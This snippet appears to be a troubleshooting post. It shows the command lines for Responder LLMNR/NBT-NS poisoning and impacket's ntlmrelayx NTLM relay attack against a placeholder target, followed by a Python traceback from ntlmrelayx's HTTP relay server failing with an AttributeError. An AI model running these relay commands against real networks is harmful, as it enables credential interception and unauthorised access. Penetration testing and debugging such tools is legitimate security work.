responder -I eth0 -r -d -w

python ntlmrelayx.py -t <targetip> -smb2support

[+] Traceback (most recent call last):
  File "/usr/local/lib/python2.7/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 72, in handle_one_request
    SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self)
  File "/usr/lib/python2.7/BaseHTTPServer.py", line 328, in handle_one_request
    method()
  File "/usr/local/lib/python2.7/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 145, in do_POST
    return self.do_GET()
  File "/usr/local/lib/python2.7/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 203, in do_GET
    if not self.do_ntlm_auth(token,authenticateMessage):
  File "/usr/local/lib/python2.7/dist-packages/impacket/examples/ntlmrelayx/servers/httprelayserver.py", line 285, in do_ntlm_auth
    clientResponse, errorCode = self.client.sendAuth(token)
AttributeError: 'NoneType' object has no attribute 'sendAuth'